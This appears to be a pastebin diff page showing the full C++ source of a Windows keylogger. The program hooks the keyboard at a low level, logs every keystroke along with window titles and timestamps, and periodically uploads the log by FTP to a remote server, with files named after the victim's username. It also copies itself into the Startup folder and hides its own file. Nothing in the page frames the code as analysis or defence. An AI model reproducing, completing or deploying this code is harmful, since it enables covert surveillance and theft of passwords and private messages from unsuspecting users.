View difference between Paste ID: pmvgYQa1 and ZaG6NFy3
SHOW: | | - or go back to the newest paste.
1
#include "stdafx.h"
2
#pragma comment (lib,"wininet.lib")
3
#include <windows.h>
4
#include <wininet.h>
5
#include <string>
6
#include <fstream>
7
#include <ctime>
8
#include <Shlobj.h>
9
10
#define LOG_TIME 1
11
#define UPLOAD_TIME 2
12
13
// Globals
14
wchar_t        *logfile = L"testlog.txt";
15
wchar_t        *hostname = L"FTP HOSTNAME";
16
wchar_t        *username = L"FTP USERNAME";
17
wchar_t        *password = L"FTP PASSWORD";
18
std::wofstream file;
19
std::wstring   logbuffer;
20
int            write_to_file_interval = 10;
21
int            upload_interval = 2;
22
std::wstring   key = L"";
23
int            key_count = 0;
24
bool           shift_pressed = false;
25
bool           capslock_on = false;
26
bool           capital = false;
27-
std::wstring   last_active_window = L""";
27+
std::wstring   last_active_window = L"";
28
29
bool upload_file(wchar_t *filename, wchar_t *uploaded_filename,
30
                 wchar_t *hostname, wchar_t *username, wchar_t *password) {
31
  HINTERNET hInternet;
32
  HINTERNET hFtp;
33
  
34
  hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
35
  hFtp = InternetConnect(hInternet, hostname, INTERNET_DEFAULT_FTP_PORT,
36
                         username, password, INTERNET_SERVICE_FTP, 0, 0);
37
  BOOL uploaded = FtpPutFile(hFtp, filename, uploaded_filename,
38
                             FTP_TRANSFER_TYPE_BINARY, 0);
39
  InternetCloseHandle(hFtp);
40
  InternetCloseHandle(hInternet);
41
  return uploaded;
42
}
43
44
std::wstring get_active_window_title() {
45
  wchar_t title[256];
46
  HWND hwnd = GetForegroundWindow();
47
  GetWindowText(hwnd, title, sizeof(title));
48
  return title;
49
}
50
51
std::wstring get_date_and_time(int type) {
52
  time_t rawtime;
53
  struct tm *timeinfo;
54
  wchar_t date_and_time[256];
55
	
56
  time(&rawtime);
57
  timeinfo = localtime(&rawtime);
58
  switch (type) {
59
    case LOG_TIME: 
60
      wcsftime(date_and_time, 256, L"%x_%X", timeinfo);
61
      break;
62
    case UPLOAD_TIME:
63
      wcsftime(date_and_time, 256,L"%m.%d.%y_%X", timeinfo);
64
      break;
65
    default:;
66
  }
67
  return date_and_time;
68
}
69
70
std::wstring generate_upload_file_name() {
71
  std::wstring file_name;
72
  std::wstring date_and_time = get_date_and_time(UPLOAD_TIME);
73
  wchar_t windows_username[256];
74
  
75
  DWORD length = sizeof(windows_username);
76
  GetUserName(windows_username, &length);
77
  
78
  file_name = windows_username;
79
  file_name.append(L"_" );
80
  file_name.append(date_and_time);
81
  file_name.append(L".txt");
82
  return file_name;
83
}
84
85
void move_to_startup(wchar_t *new_filename) {
86
  wchar_t file_path[MAX_PATH];
87
  wchar_t startup_path[MAX_PATH];
88
  
89
  //get path of running application
90
  GetModuleFileName(NULL, file_path, sizeof(file_path));
91
92
  //get startup folder path
93
  SHGetFolderPath(NULL, CSIDL_STARTUP, 0, NULL, startup_path);
94
95
  //concatenates new file name to the end of startup folder path
96
  _tcscat(startup_path, TEXT("\\"));
97
  _tcscat(startup_path, new_filename);
98
99
  std::wifstream fs(startup_path);
100
  if (!fs.good())
101
    MoveFile(file_path, startup_path);
102
  fs.close();
103
}
104
105
void hide_file() {
106
  wchar_t file_path[MAX_PATH];
107
  GetModuleFileName(NULL, file_path, sizeof(file_path));
108
  SetFileAttributes(file_path, FILE_ATTRIBUTE_HIDDEN);
109
}
110
111
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam,
112
                                      LPARAM lParam) {
113
  PKBDLLHOOKSTRUCT keystroke = (PKBDLLHOOKSTRUCT)(lParam);
114
  if (wParam == WM_KEYUP) {
115
    switch (keystroke->vkCode) {
116
      case VK_RSHIFT:
117
      case VK_LSHIFT: shift_pressed = false;
118
        break;
119
      default:;
120
    }
121
  }
122
  
123
  if (wParam == WM_KEYDOWN) {
124
    capital = !shift_pressed != !capslock_on;
125
    
126
    if (last_active_window != get_active_window_title()) {
127
      last_active_window = get_active_window_title();
128
      logbuffer += L"\n\n[";
129
      logbuffer += get_date_and_time(LOG_TIME);
130
      logbuffer += L"] [" + last_active_window;
131
      logbuffer += L"]\n";
132
    }
133
    
134
    switch (keystroke->vkCode) {
135
    case VK_RSHIFT:
136
    case VK_LSHIFT: key = L"[SHIFT]"; shift_pressed = true; 
137
      break;
138
    case VK_CAPITAL: key = L"[CAPSLOCK]"; capslock_on = !capslock_on; 
139
      break;
140
    case VK_SPACE: key = L" "; 
141
      break;
142
    case VK_RETURN: key = L"[ENTER]"; 
143
      break;
144
    case VK_BACK:
145
    case VK_DELETE: key = L"[DEL]"; 
146
      break;
147
    case VK_RIGHT: key = L"[RIGHT]"; 
148
      break;
149
    case VK_LEFT: key = L"[LEFT]"; 
150
      break;
151
    case VK_UP: key = L"[UP]"; 
152
      break;
153
    case VK_DOWN: key = L"[DOWN]"; 
154
      break;
155
    case VK_SNAPSHOT: key = L"[SCREENSHOT]"; 
156
      break;
157
    case 0x41: key = (capital) ? L"A" : L"a"; 
158
      break;
159
    case 0x42: key = (capital) ? L"B" : L"b"; 
160
      break;
161
    case 0x43: key = (capital) ? L"C" : L"c"; 
162
      break;
163
    case 0x44: key = (capital) ? L"D" : L"d"; 
164
      break;
165
    case 0x45: key = (capital) ? L"E" : L"e"; 
166
      break;
167
    case 0x46: key = (capital) ? L"F" : L"f"; 
168
      break;
169
    case 0x47: key = (capital) ? L"G" : L"g"; 
170
      break;
171
    case 0x48: key = (capital) ? L"H" : L"h"; 
172
      break;
173
    case 0x49: key = (capital) ? L"I" : L"i"; 
174
      break;
175
    case 0x4A: key = (capital) ? L"J" : L"j"; 
176
      break;
177
    case 0x4B: key = (capital) ? L"K" : L"k"; 
178
      break;
179
    case 0x4C: key = (capital) ? L"L" : L"l"; 
180
      break;
181
    case 0x4D: key = (capital) ? L"M" : L"m"; 
182
      break;
183
    case 0x4E: key = (capital) ? L"N" : L"n"; 
184
      break;
185
    case 0x4F: key = (capital) ? L"O" : L"o"; 
186
      break;
187
    case 0x50: key = (capital) ? L"P" : L"p"; 
188
      break;
189
    case 0x51: key = (capital) ? L"Q" : L"q"; 
190
      break;
191
    case 0x52: key = (capital) ? L"R" : L"r"; 
192
      break;
193
    case 0x53: key = (capital) ? L"S" : L"s"; 
194
      break;
195
    case 0x54: key = (capital) ? L"T" : L"t"; 
196
      break;
197
    case 0x55: key = (capital) ? L"U" : L"u"; 
198
      break;
199
    case 0x56: key = (capital) ? L"V" : L"v"; 
200
      break;
201
    case 0x57: key = (capital) ? L"W" : L"w"; 
202
      break;
203
    case 0x58: key = (capital) ? L"X" : L"x"; 
204
      break;
205
    case 0x59: key = (capital) ? L"Y" : L"y"; 
206
      break;
207
    case 0x5A: key = (capital) ? L"Z" : L"z"; 
208
      break;
209
    case 0x30: key = (shift_pressed) ? L")" : L"0"; 
210
      break;
211
    case 0x31: key = (shift_pressed) ? L"!" : L"1"; 
212
      break;
213
    case 0x32: key = (shift_pressed) ? L"@" : L"2"; 
214
      break;
215
    case 0x33: key = (shift_pressed) ? L"#" : L"3"; 
216
      break;
217
    case 0x34: key = (shift_pressed) ? L"$" : L"4"; 
218
      break;
219
    case 0x35: key = (shift_pressed) ? L"%" : L"5"; 
220
      break;
221
    case 0x36: key = (shift_pressed) ? L"^" : L"6"; 
222
      break;
223
    case 0x37: key = (shift_pressed) ? L"&" : L"7"; 
224
      break;
225
    case 0x38: key = (shift_pressed) ? L"*" : L"8"; 
226
      break;
227
    case 0x39: key = (shift_pressed) ? L"(" : L"9"; 
228
      break;
229
    default: key = L"";
230
    }
231
    
232
    if (key != L"") {
233
      logbuffer += key;
234
      key_count++;
235
    }
236
    
237
    if (key_count % write_to_file_interval == 0) {
238
      file.open(logfile, std::ios_base::app);
239
      file << logbuffer;
240
      logbuffer = L"";
241
      file.close();
242
    }
243
  }
244
  return CallNextHookEx(NULL, nCode, wParam, lParam);
245
}
246
247
void CALLBACK upload_timer(HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime) {
248
  if (logbuffer.size() > 0) {
249
    file.open(logfile, std::ios_base::app);
250
    file << logbuffer;
251
    file.close();
252
    logbuffer = L"";
253
  }
254
  std::ifstream in(logfile);
255
  if (in.is_open()) {
256
    in.seekg(0, in.end);
257
    size_t size = in.tellg();
258
    if (size > 0) {
259
      upload_file(logfile, &generate_upload_file_name()[0], hostname,
260
                  username, password);
261
      file.open(logfile, std::ofstream::out | std::ofstream::trunc);
262
      file.close();
263
    }
264
    in.close();
265
  }
266
}
267
268
int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
269
                      _In_opt_ HINSTANCE hPrevInstance,
270
                      _In_ LPWSTR    lpCmdLine,
271
                      _In_ int       nCmdShow) {
272
  HHOOK kb_hook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc,
273
                                   hInstance, 0);
274
  MSG msg;
275
  SetTimer(NULL, 0, 1000*60*upload_interval, (TIMERPROC)&upload_timer);
276
  while (GetMessage(&msg, NULL, NULL, NULL)) {
277
    TranslateMessage(&msg);
278
    DispatchMessage(&msg);
279
  }
280
  UnhookWindowsHookEx(kb_hook);
281
  return 0;             
282
}